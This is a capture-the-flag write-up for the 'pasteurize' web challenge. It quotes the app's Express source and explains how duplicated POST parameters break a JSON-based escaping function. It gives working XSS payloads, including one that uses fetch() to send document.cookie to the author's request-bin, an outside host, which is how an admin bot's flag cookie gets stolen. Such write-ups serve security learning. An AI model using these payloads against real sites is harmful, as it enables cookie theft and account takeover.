## Challenge description:
The site [pasteurize.web.ctfcompetition.com](https://pasteurize.web.ctfcompetition.com/) had a simple form titled "create new paste":
![image](https://user-images.githubusercontent.com/24471300/91630956-85d7e780-e9f5-11ea-8d03-3ee32b7a7bba.png)
Upon submission, I was redirected to a page with a hash/uid added to the original url and a paste had been created:
![image](https://user-images.githubusercontent.com/24471300/91631040-0bf42e00-e9f6-11ea-9f69-e756c2dde4e3.png)
Since what I posted was reflected and there was an option `share with TJMike`, I was pretty sure this was an XSS challenge. Upon inspecting the html source, I discovered two things:
1. An html comment `` which not only ensured the XSS even more, but also hinted to `/source` url which revealed an express-js source code for the app:
    ```javascript    const express = require('express');    const bodyParser = require('body-parser');    const utils = require('./utils');    const Recaptcha = require('express-recaptcha').RecaptchaV3;    const uuidv4 = require('uuid').v4;    const Datastore = require('@google-cloud/datastore').Datastore;
    /* Just reCAPTCHA stuff. */    const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';    const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';    console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);    const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {    'hl': 'en',    callback: 'captcha_cb'    });
    /* Choo Choo! */    const app = express();    app.set('view engine', 'ejs');    app.set('strict routing', true);    app.use(utils.domains_mw);    app.use('/static', express.static('static', {    etag: true,    maxAge: 300 * 1000,    }));
    /* They say reCAPTCHA needs those. But does it? */    app.use(bodyParser.urlencoded({    extended: true    }));
    /* Just a datastore. I would be surprised if it's fragile. */    class Database {    constructor() {      this._db = new Datastore({        namespace: 'littlethings'      });    }    add_note(note_id, content) {      const note = {        note_id: note_id,        owner: 'guest',        content: content,        public: 1,        created: Date.now()      }      return this._db.save({        key: this._db.key(['Note', note_id]),        data: note,        excludeFromIndexes: ['content']      });    }    async get_note(note_id) {      const key = this._db.key(['Note', note_id]);      let note;      try {        note = await this._db.get(key);      } catch (e) {        console.error(e);        return null;      }      if (!note || note.length < 1) {        return null;      }      note = note[0];      if (note === undefined || note.public !== 1) {        return null;      }      return note;    }    }
    const DB = new Database();
    /* Who wants a slice? */    const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)    .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
    /* o/ */    app.get('/', (req, res) => {    res.render('index');    });
    /* \o/ [x] */ app.post('/', async (req, res) => {    const note = req.body.content;    if (!note) {      return res.status(500).send("Nothing to add");    }    if (note.length > 2000) {      res.status(500);      return res.send("The note is too big");    }
    const note_id = uuidv4();    try {      const result = await DB.add_note(note_id, note);      if (!result) {        res.status(500);        console.error(result);        return res.send("Something went wrong...");      }    } catch (err) {      res.status(500);      console.error(err);      return res.send("Something went wrong...");    }    await utils.sleep(500);    return res.redirect(`/${note_id}`);    });
    /* Make sure to properly escape the note! */    app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {    const note_id = req.params.id;    const note = await DB.get_note(note_id);
    if (note == null) {      return res.status(404).send("Paste not found or access has been denied.");    }
    const unsafe_content = note.content;    const safe_content = escape_string(unsafe_content);
    res.render('note_public', {      content: safe_content,      id: note_id,      captcha: res.recaptcha    });    });
    /* Share your pastes with TJMike? */ app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {    const id = req.params.id;
    /* No robots please! */    if (req.recaptcha.error) {      console.error(req.recaptcha.error);      return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);    }
    /* Make TJMike visit the paste */    utils.visit(id, req);
    res.redirect(`/${id}?msg=TJMike?+will+appreciate+your+paste+shortly.`);    });
    /* This is my source I was telling you about! */    app.get('/source', (req, res) => {    res.set("Content-type", "text/plain; charset=utf-8");    res.sendFile(__filename);    });
    /* Let it begin! */    const PORT = process.env.PORT || 8080;
    app.listen(PORT, () => {    console.log(`App listening on port ${PORT}`);    console.log('Press Ctrl+C to quit.');    });
    module.exports = app;    ```
2. The 'paste' is not reflected directly to the DOM but into a javascript string assigned to a `note` variable, which is later added to the DOM after sanitizing it with DOMpurify as in this snippet:
    ```javascript    const note = "test";    const note_id = "c3beca3f-d2f3-4c25-964e-0052d96f3035";    const note_el = document.getElementById('note-content');    const note_url_el = document.getElementById('note-title');    const clean = DOMPurify.sanitize(note);    note_el.innerHTML = clean;    note_url_el.href = `/${note_id}`;    note_url_el.innerHTML = `${note_id}`;    ``` ## Quest (and the wrong rabbit-hole):
It was obvious I could not try something like `</script><script>alert(1)</script><script>` (to directly add another script tag) since the angle brackets were encoded in the backend by the `escape_string` function:
```javascript/* Who wants a slice? */const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');```
Also `"`(double quote) would be escaped as `\"`, so, there was no direct way to inject arbitrary javascript code.
So I tried the classic `<script>alert(1)</script>` payload just to see what went on. The DOMPurify actively removed it; fair enough, since it was a dangerous markup. I then tried a more safe html: `` which got that DOMPurify-pass. I then sent it to TJMike and got a new request into my request-bin, apparently they were using apple-webkit based browser:
```host: ...Accept: image/webp,image/apng,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, brCache-Control: no-cachePragma: no-cacheReferer: https://pasteurize.web.ctfcompetition.com/e50cc66b-a455-47f4-ffff-6e8ad80f369csec-ch-ua: sec-ch-ua-mobile: ?0Sec-Fetch-Dest: imageSec-Fetch-Mode: no-corsSec-Fetch-Site: cross-siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36Connection: keep-alive```
### The mXSS rabbit-hole:
I then checked the DOMPurify version used, which was `2.0.8` while the latest release was `2.0.12`. I then quickly assumed (which I probably shouldn't have :/): "Oh, It must be either a DOMPurify or a apple-webkit-specific bypass to get an mXSS executed" and thus entered the wrong rabbit hole of mXSS.
While I was trying to "master" a bunch of mXSS related articles, digging commits on DOMPurify repo and trying out payloads like `` with practically no progress, I noticed that the number of solves was steadily increasing. This made me rethink my approach: "Should not be that complex. Maybe I am going the wrong way?".
### It hit me:
I then decided looking at the `escape_string` function once more. It basically converted the input into a json string(all double quotes in the input would be escaped) and then removed the first & last characters(double quotes) from it. What can possibly go wrong here? since our input is ensured to be a string... right? And then it hit me!
I remembered this query-parsing behavior of express-js I learnt from [one of redpwnCTF 2020 challenges](https://github.com/csivitu/CTF-Write-ups/tree/master/redpwnCTF%202020/web/tux-fanpage). So, when you have multiple instances of same-named params like `param=a&param=d`, express-js will automatically parse `param` as an array like `["a","d"]`(I later learnt the extended option in bodyParser confirmed the behavior as in:`app.use(bodyParser.urlencoded({extended: true}))`). I quickly intercepted the post request, changed the request-body to `content=;alert(1);&content=` and got back:
```javascriptconst note = "";alert(1);",""";```
So what happened was: `content` param was parsed as this array: `[";alert(1);",""]` which when jsonified remained the same and after removing first & last chars(square-brackets) became `";alert(1);",""` which got printed within the double-quotes. This was great, but there still was a parse-error in the script. I then tried commenting out the unwanted part(`",""";`) by sending `content=;alert(1);//&content=` via the post request-body which gave back:
```javascriptconst note = "";alert(1);//",""";```
And I successfuly got the alert popup and thus found the XSS vulnerability, it was only a matter of exploiting it now.
## Solution:
I made a post request with the request-body: `content=;fetch('https://my-request-bin-url/'%2bdocument.cookie);//&content=` which got redirected to `/34f99257-2915-4838-ffff-e21525fa5c05`. Then, I went to `https://pasteurize.web.ctfcompetition.com/34f99257-2915-4838-ffff-e21525fa5c05` and clicked on `share with TJMike` to XSS TJMike. I got a request with the stolen cookie `secret=CTF%7BExpress_t0_Tr0ubl3s%7D` into my request-bin. I thus got the flag after url-decoding the value in the cookie: `CTF{Express_t0_Tr0ubl3s}`.